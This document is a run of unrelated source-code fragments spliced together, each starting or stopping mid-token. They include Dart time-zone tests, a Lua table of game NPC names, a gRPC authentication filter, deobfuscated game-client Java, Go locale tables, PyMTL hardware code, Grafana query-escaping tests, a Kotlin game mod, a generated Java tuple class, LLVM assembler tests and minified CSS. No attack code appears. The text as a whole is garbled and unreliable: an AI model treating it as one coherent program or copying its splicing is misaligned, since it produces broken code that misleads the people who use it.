  for (final contact in contacts) {
    if (contact.myAvatarCounter < user.avatarCounter) {
      await twonlyDB.contactsDao.updateContact(
        contact.userId,
        ContactsCompanion(
          myAvatarCounter: Value(user.avatarCounter),
        ),
      );
      await encryptAndSendMessageAsync(
        null,
        contact.userId,
        MessageJson(
          kind: MessageKind.profileChange,
          content: ProfileContent(
            avatarSvg: user.avatarSvg!,
            displayName: user.displayName,
          ),
          timestamp: DateTime.now(),
        ),
      );
    }
  }
}
// GENERATED CODE - DO NOT MODIFY BY HAND

part of 'userdata.dart


ng = ZoneWithAmbiguity.mapLocal(TransitionPlus10.addNanoseconds(-1));
  CheckMapping(mapping, IntervalBeforeAmbiguity, IntervalAfterAmbiguity, 2);
}

@Test()
void ZoneWithAmbiguity_FirstTickAfterTransition()
{
  var mapping = ZoneWithAmbiguity.mapLocal(TransitionPlus10);
  CheckMapping(mapping, IntervalAfterAmbiguity, IntervalAfterAmbiguity, 1);
}

// Time zone with a gap
@Test()
void ZoneWithGap_NearStartOfTime()
{
  var mapping = ZoneWithGap.mapLocal(NearStartOfTime);
  CheckMapping(mapping, IntervalBeforeGap, IntervalBeforeGap, 1);
}

@Test()
void ZoneWithGap_NearEndOfTime()
{
  var mapping = ZoneWithGap.mapLocal(NearEndOfTime);
  CheckMapping(mapping, IntervalAfterGap, IntervalAfterGap, 1);
}

@Test()
void ZoneWithGap_WellBeforeTransition()
{
  var mapping = ZoneWithGap.mapLocal(YearBeforeTransition);
  CheckMapping(mapping, IntervalBeforeGap, IntervalBeforeGap, 1);
}

@Test()
void ZoneWithGap_WellAfterTransition()
{
  var mapping = ZoneWithGap.mapLocal(YearAfterTransition);
  CheckMapping(mapping, IntervalAfterGap, IntervalAfterGap, 1);
}

@Test()
void ZoneWithGap_JustBeforeGap()
{
  var mapping = ZoneWithGap.mapLocal(TransitionMinus5.addNanoseconds(-1));
  CheckMapping(mapping, IntervalBeforeGap, IntervalBeforeGap, 1);
}

@Test()
void ZoneWithGap_JustAfterTransition()
{
  var mapping = ZoneWithGap.mapLocal(TransitionPlus10.addNanoseconds(1));
  CheckMapping(mapping, IntervalAfterGap, IntervalAfterGap, 1);
}

@Test()
void ZoneWithGap_StartOfTransition()
{
  var mapping = ZoneWithGap.mapLocal(TransitionMinus5);
  CheckMapping(mapping, IntervalBeforeGap, IntervalAfterGap, 0);
}

@Test()
void ZoneWithGap_MidTransition()
{
  var mapping = ZoneWithGap.mapLocal(MidTransition);
  CheckMapping(mapping, IntervalBeforeGap, IntervalAfterGap, 0);
}

@Test()
void ZoneWithGap_LastTickOfTransition()
{
  var mapping = ZoneWithGap.mapLocal(TransitionPlus10.addNanoseconds(-1));
  CheckMapping(mapping, IntervalBeforeGap, IntervalAfterGap, 0);
}

@Test()
void ZoneWithGap_FirstTickAfterTransition()
{
  var mapping = ZoneWithGap.mapLocal(TransitionPlus10);
  CheckMapping(mapping, IntervalAfterGap, IntervalAfterGap, 1);
}

/// Case added to cover everything: we want our initial guess to hit the
/// *later* zone, which doesn't actually include the local instant. However,
/// we want the *earlier* zone to include it. So, we want a zone with two
/// positive offsets.
@Test()
void TrickyCase()
{
  // 1am occurs unambiguously in the early zone.
  var zone = SingleTransitionDateTimeZone(Transition, Offset.hours(3), Offset.hours(5));
  var mapping = zone.mapLocal(LocalDateTime(2000, 1, 1, 1, 0, 0));
  CheckMapping(mapping, zone.EarlyInterval, zone.EarlyInterval, 1);
}

void CheckMapping(ZoneLocalMapping mapping, ZoneInterval earlyInterval, ZoneInterval lateInterval, int count)
{
  expect(earlyInterval, mapping.earlyInterval);
  expect(lateInterval, mapping.lateInterval);
  expect(count, mapping.count);
}

// Portions of this work are Copyright 2018 The Time Machine Authors. All rights reserved.
// Portions of this work are Copyright 2018 The Noda Time Authors. All rights reserved.
// Use of this source code is governed by the Apache License 2.0, as found in the LICENSE.txt file.
import 'dart:async';

import 'package:time_machine/src/time_


1] = "军官坎鲁恩",
  [21972] = "Shadowy Disguise Male Transform",
  [21973] = "Shadowy Disguise Female Transform",
  [21974] = "Air Force Alarm Bot (Area 52)",
  [21975] = "刀塔醉酒卫兵",
  [21976] = "52区死亡机器",
  [21977] = "加基森空军呼叫员",
  [21978] = "影月谷野生动物",
  [21979] = "征服者瓦萨雷克",
  [21980] = "瓦萨雷克的陆行鸟",
  [21981] = "工头努埃尔",
  [21982] = "拜龙教伏击者",
  [21983] = "萨米亚·因克林",
  [21984] = "雷克萨",
  [21985] = "斯克提斯剔骨者",
  [21986] = "沙塔尔祭坛守备官",
  [21987] = "World Trigger (Tiny)",
  [21988] = "Avian Flyer (1)",
  [21989] = "Avian Ripper (1)",
  [21990] = "Avian Warhawk (1)",
  [21991] = "Sethekk Slayer (1)",
  [21992] = "大地之力图腾",
  [21993] = "Air Force Guard Post (Horde - Bat Rider)",
  [21994] = "石肤图腾",
  [21995] = "灼热图腾",
  [21996] = "Air Force Guard Post (Alliance - Gryphon)",
  [21997] = "Air Force Guard Post (Goblin - Area 52 - Zeppelin)",
  [21998] = "库卡隆驭风者",
  [21999] = "Air Force Trip Wire - Rooftop (Alliance)",
  [22000] = "龙喉虚空幼龙",
  [22001] = "Air Force Trip Wire - Rooftop (Horde)",
  [22002] = "Air Force Trip Wire - Ground (Horde)",
  [22003] = "Air Force Trip Wire - Ground (Alliance)",
  [22004] = "莱欧洛克斯",
  [22005] = "泰姆",
  [22006] = "暗影领主达斯维尔",
  [22007] = "护树者查恩",
  [22008] = "Sky Marker",
  [22009] = "被污染的元素",
  [22010] = "卡斯克",
  [22011] = "强大的考罗克",
  [22012] = "特派使者莉芙·血叶",
  [22013] = "风暴之眼使者",
  [22014] = "银月城平民",
  [22015] = "风暴之眼使者",
  [22016] = "日蚀士兵",
  [22017] = "日蚀缚法者",
  [22018] = "日蚀骑兵",
  [22019] = "库尔菲斯·暗鳞",
  [22020] = "欧玛利·萨普纳波",
  [22021] = "O\'Mally\'s Instrument Bunny",
  [


it(&result);
  for (l = batch->list.head; l != nullptr; l = l->next) {
    grpc_metadata* usr_md = nullptr;
    grpc_mdelem md = l->md;
    grpc_slice key = GRPC_MDKEY(md);
    grpc_slice value = GRPC_MDVALUE(md);
    if (result.count == result.capacity) {
      result.capacity = GPR_MAX(result.capacity + 8, result.capacity * 2);
      result.metadata = static_cast<grpc_metadata*>(gpr_realloc(
          result.metadata, result.capacity * sizeof(grpc_metadata)));
    }
    usr_md = &result.metadata[result.count++];
    usr_md->key = grpc_slice_ref_internal(key);
    usr_md->value = grpc_slice_ref_internal(value);
  }
  return result;
}

static grpc_filtered_mdelem remove_consumed_md(void* user_data,
                                               grpc_mdelem md) {
  grpc_call_element* elem = static_cast<grpc_call_element*>(user_data);
  call_data* calld = static_cast<call_data*>(elem->call_data);
  size_t i;
  for (i = 0; i < calld->num_consumed_md; i++) {
    const grpc_metadata* consumed_md = &calld->consumed_md[i];
    if (grpc_slice_eq(GRPC_MDKEY(md), consumed_md->key) &&
        grpc_slice_eq(GRPC_MDVALUE(md), consumed_md->value))
      return GRPC_FILTERED_REMOVE();
  }
  return GRPC_FILTERED_MDELEM(md);
}

static void on_md_processing_done_inner(grpc_call_element* elem,
                                        const grpc_metadata* consumed_md,
                                        size_t num_consumed_md,
                                        const grpc_metadata* response_md,
                                        size_t num_response_md,
                                        grpc_error* error) {
  call_data* calld = static_cast<call_data*>(elem->call_data);
  grpc_transport_stream_op_batch* batch = calld->recv_initial_metadata_batch;
  /* TODO(jboeuf): Implement support for response_md. */
  if (response_md != nullptr && num_response_md > 0) {
    gpr_log(GPR_INFO,
            "response_md in auth metadata processing not supported for now. "
            "Ignoring...");
  }
  if (error == GRPC_ERROR_NONE) {
    calld->consumed_md = consumed_md;
    calld->num_consumed_md = num_consumed_md;
    error = grpc_metadata_batch_filter(
        batch->payload->recv_initial_metadata.recv_initial_metadata,
        remove_consumed_md, elem, "Response metadata filtering error");
  }
  GRPC_CLOSURE_SCHED(calld->original_recv_initial_metadata_ready, error);
}

// Called from application code.
static void on_md_processing_done(
    void* user_data, const grpc_metadata* consumed_md, size_t num_consumed_md,
    const grpc_metadata* response_md, size_t num_response_md,
    grpc_status_code status, const char* error_details) {
  grpc_call_element* elem = static_cast<grpc_call_element*>(user_data);
  call_data* calld = static_cast<call_data*>(elem->call_data);
  grpc_core::ExecCtx exec_ctx;
  // If the call was not cancelled while we were in


(2) int x, @OriginalArg(3) int z, @OriginalArg(1) PlayerEntity player, @OriginalArg(4) NPCEntity npc, @OriginalArg(5) LocType locType, @OriginalArg(7) int rotation) {
        @Pc(7) PositionedSound sound = new PositionedSound();
        sound.level = level;
        sound.x1 = x << 9;
        sound.z1 = z << 9;

        if (locType != null) {
            sound.locType = locType;

            @Pc(173) int width = locType.width;
            @Pc(176) int length = locType.length;
            if (rotation == 1 || rotation == 3) {
                length = locType.width;
                width = locType.length;
            }

            sound.volume = locType.soundVolume;
            sound.rangeMax = locType.soundRange << 9;
            sound.id = locType.sound;
            sound.delayMax = locType.soundDelayMax;
            sound.z2 = z + length << 9;
            sound.rateMax = locType.soundRateMax;
            sound.vorbis = locType.vorbis;
            sound.random = locType.randomsound;
            sound.minRange = locType.soundSize << 9;
            sound.delayMin = locType.soundDelayMin;
            sound.rateMin = locType.soundRateMin;
            sound.randomIds = locType.randomSoundIds;
            sound.x2 = x + width << 9;

            if (locType.multiloc != null) {
                sound.multi = true;
                sound.update();
            }

            if (sound.randomIds != null) {
                sound.randomDelay = (int) ((double) (sound.delayMax - sound.delayMin) * Math.random()) + sound.delayMin;
            }

            locSounds.addLast(sound);
        } else if (npc != null) {
            sound.npc = npc;

            @Pc(37) NPCType type = npc.type;
            if (type.multinpcs != null) {
                sound.multi = true;
                type = type.getMultiNPC(TimedVarDomain.instance);
            }

            if (type != null) {
                sound.x2 = (x + type.size) << 9;
                sound.z2 = (z + type.size) << 9;
                sound.id = NPCEntity.currentSound(npc);
                sound.minRange = type.soundRangeMin << 9;
                sound.volume = type.soundVolume;
                sound.rateMin = type.soundRateMin;
                sound.vorbis = type.vorbis;
                sound.rangeMax = type.soundRangeMax << 9;
                sound.rateMax = type.soundRateMax;
            }

            npcSounds.addLast(sound);
        } else if (player != null) {
            sound.player = player;
            sound.x2 = (x + player.getSize()) << 9;
            sound.z2 = (z + player.getSize()) << 9;
            sound.id = PlayerEntity.currentSound(player);
            sound.rangeMax = player.soundRange << 9;
            sound.rateMax = 256;
            sound.rateMin = 256;
            sound.volume = player.soundVolume;
            sound.minRange = 0;
            sound.vorbis = player.vorbis;

            playerSounds.put(player.slot, sound);
        }
    }
}
import com.jagex.graphics.ClippingMask;
import com.jagex.graphics.Sprite;
import org.openrs2.deob.annotation.OriginalArg;
import org.openrs2.deob.annotation.OriginalClass;
import org.openrs2.deob.annotation.OriginalMember;
import org.openrs2.deob.annotation.Pc;

@OriginalClass("client!qc")
public abstract class Java


	0x13ba, 0x13ba, 0x13ba, 0x13d9, 0x13ef, 0x140c, 0x140c, 0x1430,
			0x144b, 0x1480, 0x14a7, 0x14be, 0x14d3, 0x14f0, 0x1503, 0x1503,
			// Entry 100 - 13F
			0x1517, 0x152b, 0x1546, 0x155c, 0x1573,
		},
	},
	{ // yue
		"阿森松島安道爾阿拉伯聯合大公國阿富汗安提瓜同巴布達安圭拉阿爾巴尼亞亞美尼亞安哥拉南極洲阿根廷美屬薩摩亞奧地利澳洲荷屬阿魯巴奧蘭群島亞塞拜然波斯尼" +
			"亞同黑塞哥維那巴貝多孟加拉比利時布吉納法索保加利亞巴林蒲隆地貝南聖巴瑟米百慕達汶萊玻利維亞荷蘭加勒比區巴西巴哈馬不丹布威島波札那白俄" +
			"羅斯貝里斯加拿大科科斯（基林）群島剛果（金夏沙）中非共和國剛果（布拉薩）瑞士象牙海岸庫克群島智利喀麥隆中華人民共和國哥倫比亞克里派頓" +
			"島哥斯大黎加古巴維德角庫拉索聖誕島賽普勒斯捷克德國迪亞哥加西亞島吉布地丹麥多米尼克多明尼加共和國阿爾及利亞休達與梅利利亞厄瓜多愛沙尼" +
			"亞埃及西撒哈拉厄利垂亞西班牙衣索比亞歐盟歐元區芬蘭斐濟福克蘭群島密克羅尼西亞群島法羅群島法國加彭英國格瑞那達喬治亞共和國法屬圭亞那根" +
			"西島迦納直布羅陀格陵蘭甘比亞幾內亞瓜地洛普赤道幾內亞希臘南佐


from pymtl import *
from lizard.util.rtl.interface import Interface, UseInterface
from lizard.util.rtl.method import MethodSpec
from lizard.util.rtl.types import canonicalize_type
from lizard.util.rtl.mux import Mux
from lizard.bitutil import clog2nz
from lizard.util.rtl.pipeline_stage import PipelineStageInterface

class PipelineSplitterInterface(Interface):

  def __init__(s, dtype, clients):
    s.Data = canonicalize_type(dtype)
    s.clients = clients

    interface = PipelineStageInterface(dtype, None)
    methods = []
    for client in clients:
      for method in interface.methods.values():
        methods.append(method.variant(name='{}_{}'.format(client, method.name)))

    super(PipelineSplitterInterface, s).__init__(methods)

class PipelineSplitterControllerInterface(Interface):

  def __init__(s, dtype, nclients):
    s.Data = canonicalize_type(dtype)
    s.nclients = nclients
    s.Spec = Bits(clog2nz(nclients))

    super(PipelineSplitterControllerInterface, s).__init__([
        MethodSpec(
            'sort',
            args={'msg': s.Data},
            rets={'pipe': s.Spec},
            call=False,
            rdy=False,
        ),
    ])

class PipelineSplitter(Model):

  def __init__(s, interface):
    UseInterface(s, interface)
    size = len(s.interface.clients)
    Pipe = Bits(clog2nz(size))
    s.require(
        MethodSpec(
            'in_peek',
            args=None,
            rets={
                'msg': s.interface.Data,
            },
            call=False,
            rdy=True,
        ),
        MethodSpec(
            'in_take',
            args=None,
            rets=None,
            call=True,
            rdy=False,
        ),
        MethodSpec(
            'sort',
            args={'msg': s.interface.Data},
            rets={'pipe': Pipe},
            call=False,
            rdy=False,
        ),
    )

    s.peek_array = [
        getattr(s, '{}_peek'.format(client)) for client in s.interface.clients
    ]
    s.take_array = [
        getattr(s, '{}_take'.format(client)) for client in s.interface.clients
    ]
    s.rdy_array = [Wire(1) for _ in range(size)]
    for i in range(size):
      s.connect(s.peek_array[i].rdy, s.rdy_array[i])

    s.connect(s.sort_msg, s.in_peek_msg)
    s.take_mux = Mux(Bits(1), size)
    s.effective_call = Wire(1)

    for i in range(size):

      @s.combinational
      def handle_rdy(i=i):
        s.rdy_array[i].v = (s.sort_pipe == i) and s.in_peek_rdy

      s.connect(s.peek_array[i].msg, s.in_peek_msg)
      s.connect(s.take_mux.mux_in_[i], s.take_array[i].call)
    s.connect(s.take_mux.mux_select, s.sort_pipe)
    s.connect(s.in_take_call, s.take_mux.mux_out)


 * sizeof(Particle), particles.data(), GL_STATIC_DRAW );
	mParticleBuffer[mDestinationIndex] = gl::Vbo::create( GL_ARRAY_BUFFER, particles.size() * sizeof(Particle), nullptr, GL_STATIC_DRAW );

	for( int i = 0; i < 2; ++i )
	{	// Describe the particle layout for OpenGL.
		mAttributes[i] = gl::Vao::create();
		gl::ScopedVao vao( mAttributes[i] );

		// Define attributes as offsets into the bound particle buffer
		gl::ScopedBuffer buffer( mParticleBuffer[i] );
		gl::enableVertexAttribArray( 0 );
		gl::enableVertexAttribArray( 1 );
		gl::enableVertexAttribArray( 2 );
		gl::enableVertexAttribArray( 3 );
		gl::enableVertexAttribArray( 4 );
		gl::vertexAttribPointer( 0, 3, GL_FLOAT, GL_FALSE, sizeof(Particle), (const GLvoid*)offsetof(Particle, pos) );
		gl::vertexAttribPointer( 1, 4, GL_FLOAT, GL_FALSE, sizeof(Particle), (const GLvoid*)offsetof(Particle, color) );
		gl::vertexAttribPointer( 2, 3, GL_FLOAT, GL_FALSE, sizeof(Particle), (const GLvoid*)offsetof(Particle, ppos) );
		gl::vertexAttribPointer( 3, 3, GL_FLOAT, GL_FALSE, sizeof(Particle), (const GLvoid*)offsetof(Particle, home) );
		gl::vertexAttribPointer( 4, 1, GL_FLOAT, GL_FALSE, sizeof(Particle), (const GLvoid*)offsetof(Particle, damping) );
	}

	// Load our update program.
	// Match up our attribute locations with the description we gave.

#if defined( CINDER_GL_ES_3 )
	mRenderProg = gl::GlslProg::create( gl::GlslProg::Format().vertex( loadAsset( "draw_es3.vert" ) )
									   .fragment( loadAsset( "draw_es3.frag" ) ) );
	mUpdateProg = gl::GlslProg::create( gl::GlslProg::Format().vertex( loadAsset( "particleUpdate_es3.vs" ) )
									   .fragment( loadAsset( "no_op_es3.fs" ) )
#else
	mRenderProg = gl::getStockShader( gl::ShaderDef().color() );
	mUpdateProg = gl::GlslProg::create( gl::GlslProg::Format().vertex( loadAsset( "particleUpdate.vs" ) )
#endif
			.feedbackFormat( GL_INTERLEAVED_ATTRIBS )
			.feedbackVaryings( { "position", "pposition", "home", "color", "damping" } )
			.attribLocation( "iPosition", 0 )
			.attribLocation( "iColor", 1 )
			.attribLocation( "iPPosition", 2 )
			.attribLocation( "iHome", 3 )
			.attribLocation( "iDamping", 4 )
			);

	// Listen to mouse events so we can send data as uniforms.
	getWindow()->getSignalMouseDown().connect( [this]( MouseEvent event )
											  {
												  mMouseDown = true;
												  mMouseForce = 500.0f;
												  mMousePos = vec3( event.getX(), event.getY(), 0.0f );
											  } );
	getWindow()->getSignalMouseDrag().connect( [this]( MouseEvent event )
											  {
												  mMousePos = vec3( event.getX(), event.getY(), 0.0f );
											  } );
	getWindow()->getSignalMouseUp().connect( [this]( MouseEvent event )
											{
												mMouseForce = 0.0f;
												mMouseDown = false;
											} );
}

void ParticleSphereGPUApp::update()
{
	//


Received'`,
      );
    });
  });
  describe('when using $__escape and multi template variable has multiple selected values', () => {
    beforeEach(() => {
      builder.rawQuery = `CounterPath in ($__escapeMulti('\\grafana-vm\Network(eth0)\Total','\\grafana-vm\Network(eth0)\Total'))`;
    });
    it('should replace $__escape(val) with multiple KQL style escaped string', () => {
      const query = builder.interpolate().query;
      expect(query).toContain(
        `CounterPath in (@'\\grafana-vmNetwork(eth0)Total', @'\\grafana-vmNetwork(eth0)Total')`,
      );
    });
  });
  describe('when using $__escape and multi template variable has one selected value that contains comma', () => {
    beforeEach(() => {
      builder.rawQuery = `$__escapeMulti('\\grafana-vm,\Network(eth0)\Total Bytes Received')`;
    });
    it('should replace $__escape(val) with KQL style escaped string', () => {
      const query = builder.interpolate().query;
      expect(query).toContain(
        `@'\\grafana-vm,Network(eth0)Total Bytes Received'`,
      );
    });
  });
  describe(`when using $__escape and multi template variable value is not wrapped in single '`, () => {
    beforeEach(() => {
      builder.rawQuery = `$__escapeMulti(\\grafana-vm,\Network(eth0)\Total Bytes Received)`;
    });
    it('should not replace macro', () => {
      const query = builder.interpolate().query;
      expect(query).toContain(
        `$__escapeMulti(\\grafana-vm,Network(eth0)Total Bytes Received)`,
      );
    });
  });
});
'use strict';
import {Component} from '@angular/core';
import {AbstractBlogPost} from '../../../../../core/model/AbstractBlogPost';
import {PostCategory} from '../../../../../core/enum/postCategory';

@Component({
    selector: 'app-chinese-ocr-tool',
    templateUrl: './chinese-ocr-tool.component.html'
})
export class ChineseOcrToolComponent extends AbstractBlogPost {

    postTitle(): string {
        return 'Chinese OCR tool';
    }

    postDate(): Date {
        return new Date(2021, 1, 6);
    }

    postAbstract(): string {
        return "The world of AI and image based text recognition is evolving at a good pace. A whole host of open source " +
            "OCR repositories are available to develop your own application around it. I developed a simple bare-bones " +
            "desktop application that scans an image with Chinese characters and " +
            "returns the scanned characters with English translation for personal education purposes.";
    }

    postCategories(): PostCategory[] {
        return [PostCategory.TechTools];
    }
}
// Clipboard Copying
const timeouts = [];
const tag = document.querySelector("#copy-tag");

tag.addEventListener("click", () => {
  // Reset timeouts
  for (const timeout of timeouts) {
    clearTimeout(timeout);
  }

  // Copy to clipboard
  navigator.clipboard.writeText(tag.textContent);

  // Reset animation
  document.documentElement.style.setProperty("--copy-transition", "left");
  document.documentElement.style.setProperty("--copy-left", "0px");
  document.documentElement.style.setProperty("--copy-visibility", "0");

  // trigger animation
  document.documentElement.style.setProperty("--copy-visibility", "100");
  document.documentElement.style.setProperty("--copy-left", "15px");

  // Set timeouts
  timeouts.push(
    setTimeout(() => {
      document.documentElement.style.setProperty("--copy-transition", "all");
      document.documentElement.


     if (!isEnabled()) return
        if (bypassActive()) return
        if (event.gui !is GuiChest) return
        val chest = event.container as ContainerChest
        val chestName = InventoryUtils.openInventoryName()

        for ((slot, stack) in chest.getLowerItems()) {
            if (hide(chestName, stack)) {
                slot.highlight(LorenzColor.DARK_GRAY.addOpacity(config.opacity))
            } else if (showGreenLine && config.itemsGreenLine) {
                slot.drawBorder(LorenzColor.GREEN.addOpacity(200))
            }
        }
    }

    @HandleEvent(priority = HandleEvent.LOWEST)
    fun onTooltip(event: ToolTipEvent) {
        if (!isEnabled()) return
        if (bypassActive()) return

        val guiChest = Minecraft.getMinecraft().currentScreen
        if (guiChest !is GuiChest) return
        val chestName = InventoryUtils.openInventoryName()

        val stack = event.itemStack
        if (InventoryUtils.getItemsInOpenChest().map { it.stack }.contains(stack)) return
        if (!ItemUtils.getItemsInInventory().contains(stack)) return

        if (hide(chestName, stack)) {
            val first = event.toolTip[0]
            event.toolTip.clear()
            event.toolTip.add("§7" + first.removeColor())
            event.toolTip.add("")
            if (hideReason == "") {
                event.toolTip.add("§4No hide reason!")
                ErrorManager.skyHanniError("No hide reason for not clickable item!")
            } else {
                event.toolTip.add("§c$hideReason")
                if (config.itemsBypass && !hideReason.contains("SkyBlock Menu")) {
                    event.toolTip.add("  §7(Bypass by holding the ${KeyboardManager.getModifierKeyName()} key)")
                }
            }
        }
    }

    @HandleEvent
    fun onSlotClick(event: GuiContainerEvent.SlotClickEvent) {
        if (!isEnabled()) return
        if (!config.itemsBlockClicks) return
        if (bypassActive()) return
        if (event.gui !is GuiChest) return
        val chestName = InventoryUtils.openInventoryName()

        val slot = event.slot ?: return

        if (slot.slotNumber == slot.slotIndex) return
        val stack = slot.stack.orNull() ?: return

        if (hide(chestName, stack)) {
            event.cancel()

            if (lastClickTime.passedSince() > 5.seconds) {
                lastClickTime = SimpleTimeMark.now()
            }
            return
        }
    }

    private fun bypassActive() = config.itemsBypass && KeyboardManager.isModifierKeyDown()

    private fun hide(chestName: String, stack: ItemStack): Boolean {
        hideReason = ""
        showGreenLine = false

        return when {
            hideNpcSell(stack) -> true
            hideInStorage(chestName, stack) -> true
            hideSalvage(chestName, stack) -> true
            hidePlayerTrade(chestName, stack) -> true
            hideBazaarOrAH(chestName, stack) -> true
            hideAccessoryBag(chestName, stack) -> true
            hideBasketOfSeeds(chestName, stack) -> true
            hideNetherWartPouch(chestName, stack) -> true
            hideTrickOrTreatBag(chestName, stack) -> true
            hideSackOfSacks(chestName, stack) -> true
            hideFishingBag(chest


 the License.
 *
 **********************************************************************************************************************/

// --------------------------------------------------------------
//  THIS IS A GENERATED SOURCE FILE. DO NOT EDIT!
//  GENERATED FROM eu.stratosphere.api.java.tuple.TupleGenerator.
// --------------------------------------------------------------

package eu.stratosphere.api.java.tuple;

import eu.stratosphere.util.StringUtils;

/**
 * A tuple with 17 fields. Tuples are strongly typed; each field may be of a separate type.
 * The fields of the tuple can be accessed directly as public fields (f0, f1, ...) or via their position
 * through the {@link #getField(int)} method. The tuple field positions start at zero.
 * <p>
 * Tuples are mutable types, meaning that their fields can be re-assigned. This allows functions that work
 * with Tuples to reuse objects in order to reduce pressure on the garbage collector.
 *
 * @see Tuple
 *
 * @param <T0> The type of field 0
 * @param <T1> The type of field 1
 * @param <T2> The type of field 2
 * @param <T3> The type of field 3
 * @param <T4> The type of field 4
 * @param <T5> The type of field 5
 * @param <T6> The type of field 6
 * @param <T7> The type of field 7
 * @param <T8> The type of field 8
 * @param <T9> The type of field 9
 * @param <T10> The type of field 10
 * @param <T11> The type of field 11
 * @param <T12> The type of field 12
 * @param <T13> The type of field 13
 * @param <T14> The type of field 14
 * @param <T15> The type of field 15
 * @param <T16> The type of field 16
 */
public class Tuple17<T0, T1, T2, T3, T4, T5, T6, T7, T8, T9, T10, T11, T12, T13, T14, T15, T16> extends Tuple {

	private static final long serialVersionUID = 1L;

	/** Field 0 of the tuple. */
	public T0 f0;
	/** Field 1 of the tuple. */
	public T1 f1;
	/** Field 2 of the tuple. */
	public T2 f2;
	/** Field 3 of the tuple. */
	public T3 f3;
	/** Field 4 of the tuple. */
	public T4 f4;
	/** Field 5 of the tuple. */
	public T5 f5;
	/** Field 6 of the tuple. */
	public T6 f6;
	/** Field 7 of the tuple. */
	public T7 f7;
	/** Field 8 of the tuple. */
	public T8 f8;
	/** Field 9 of the tuple. */
	public T9 f9;
	/** Field 10 of the tuple. */
	public T10 f10;
	/** Field 11 of the tuple. */
	public T11 f11;
	/** Field 12 of the tuple. */
	public T12 f12;
	/** Field 13 of the tuple. */
	public T13 f13;
	/** Field 14 of the tuple. */
	public T14 f14;
	/** Field 15 of the tuple. */
	public T15 f15;
	/** Field 16 of the tuple. */
	public T16 f16;

	/**
	 * Creates a new tuple where all fields are null.
	 */
	public Tuple17() {}

	/**
	 * Creates a new tuple and assigns the given values to the tuple's fields.
	 *
	 * @param value0 The value for field 0
	 * @param value1 The value for


ERROR: instruction requires: sve
// CHECK-UNKNOWN: 55 55 95 c4 <unknown>

ld1h    { z21.d }, p5/z, [x10, z21.d, sxtw]
// CHECK-INST: ld1h    { z21.d }, p5/z, [x10, z21.d, sxtw]
// CHECK-ENCODING: [0x55,0x55,0xd5,0xc4]
// CHECK-ERROR: instruction requires: sve
// CHECK-UNKNOWN: 55 55 d5 c4 <unknown>

ld1h    { z0.d }, p0/z, [x0, z0.d, uxtw #1]
// CHECK-INST: ld1h    { z0.d }, p0/z, [x0, z0.d, uxtw #1]
// CHECK-ENCODING: [0x00,0x40,0xa0,0xc4]
// CHECK-ERROR: instruction requires: sve
// CHECK-UNKNOWN: 00 40 a0 c4 <unknown>

ld1h    { z0.d }, p0/z, [x0, z0.d, sxtw #1]
// CHECK-INST: ld1h    { z0.d }, p0/z, [x0, z0.d, sxtw #1]
// CHECK-ENCODING: [0x00,0x40,0xe0,0xc4]
// CHECK-ERROR: instruction requires: sve
// CHECK-UNKNOWN: 00 40 e0 c4 <unknown>

ld1h    { z31.s }, p7/z, [z31.s, #62]
// CHECK-INST: ld1h    { z31.s }, p7/z, [z31.s, #62]
// CHECK-ENCODING: [0xff,0xdf,0xbf,0x84]
// CHECK-ERROR: instruction requires: sve
// CHECK-UNKNOWN: ff df bf 84 <unknown>

ld1h    { z0.s }, p0/z, [z0.s]
// CHECK-INST: ld1h    { z0.s }, p0/z, [z0.s]
// CHECK-ENCODING: [0x00,0xc0,0xa0,0x84]
// CHECK-ERROR: instruction requires: sve
// CHECK-UNKNOWN: 00 c0 a0 84 <unknown>

ld1h    { z31.d }, p7/z, [z31.d, #62]
// CHECK-INST: ld1h    { z31.d }, p7/z, [z31.d, #62]
// CHECK-ENCODING: [0xff,0xdf,0xbf,0xc4]
// CHECK-ERROR: instruction requires: sve
// CHECK-UNKNOWN: ff df bf c4 <unknown>

ld1h    { z0.d }, p0/z, [z0.d]
// CHECK-INST: ld1h    { z0.d }, p0/z, [z0.d]
// CHECK-ENCODING: [0x00,0xc0,0xa0,0xc4]
// CHECK-ERROR: instruction requires: sve
// CHECK-UNKNOWN: 00 c0 a0 c4 <unknown>


:14px;height:14px}.ant-spin.ant-spin-show-text .ant-spin-text{display:block}@media (-ms-high-contrast:active),(-ms-high-contrast:none){.ant-spin-blur{background:#fff;opacity:.5}}@-webkit-keyframes antSpinMove{to{opacity:1}}@keyframes antSpinMove{to{opacity:1}}@-webkit-keyframes antRotate{to{-webkit-transform:rotate(405deg);transform:rotate(405deg)}}@keyframes antRotate{to{-webkit-transform:rotate(405deg);transform:rotate(405deg)}}@font-face{font-family:Helvetica Neue For Number;src:local("Helvetica Neue");unicode-range:u+30-39}.ant-steps{font-size:0;width:100%;line-height:1.5}.ant-steps .ant-steps-item{position:relative;display:inline-block;vertical-align:top}.ant-steps .ant-steps-item.ant-steps-status-wait .ant-steps-head-inner{border-color:rgba(0,0,0,.25);background-color:#fff}.ant-steps .ant-steps-item.ant-steps-status-wait .ant-steps-head-inner>.ant-steps-icon{color:rgba(0,0,0,.25)}.ant-steps .ant-steps-item.ant-steps-status-wait .ant-steps-head-inner>.ant-steps-icon .ant-steps-icon-dot{background:rgba(0,0,0,.25)}.ant-steps .ant-steps-item.ant-steps-status-wait .ant-steps-description,.ant-steps .ant-steps-item.ant-steps-status-wait .ant-steps-title{color:rgba(0,0,0,.43)}.ant-steps .ant-steps-item.ant-steps-status-wait .ant-steps-tail>i{background-color:#e9e9e9}.ant-steps .ant-steps-item.ant-steps-status-process .ant-steps-head-inner{border-color:#108ee9;background-color:#108ee9}.ant-steps .ant-steps-item.ant-steps-status-process .ant-steps-head-inner>.ant-steps-icon{color:#fff}.ant-steps .ant-steps-item.ant-steps-status-process .ant-steps-head-inner>.ant-steps-icon .ant-steps-icon-dot{background:#108ee9}.ant-steps .ant-steps-item.ant-steps-status-process .ant-steps-description,.ant-steps .ant-steps-item.ant-steps-status-process .ant-steps-title{color:rgba(0,0,0,.65)}.ant-steps .ant-steps-item.ant-steps-status-process .ant-steps-tail>i{background-color:#e9e9e9}.ant-steps .ant-steps-item.ant-steps-status-finish .ant-steps-head-inner{border-color:#108ee9;background-color:#fff}.ant-steps .ant-steps-item.ant-steps-status-finish .ant-steps-head-inner>.ant-steps-icon{color:#108ee9}.ant-steps .ant-steps-item.ant-steps-status-finish .ant-steps-head-inner>.ant-steps-icon .ant-steps-icon-dot{background:#108ee9}.ant-steps .ant-steps-item.ant-steps-status-finish .ant-steps-tail>i:after{width:100%;background:#108ee9;-webkit-transition:all .6s;transition:all .6s;opacity:1;box-shadow:0 0 0 0 #108ee9;-webkit-animation:tailEffect 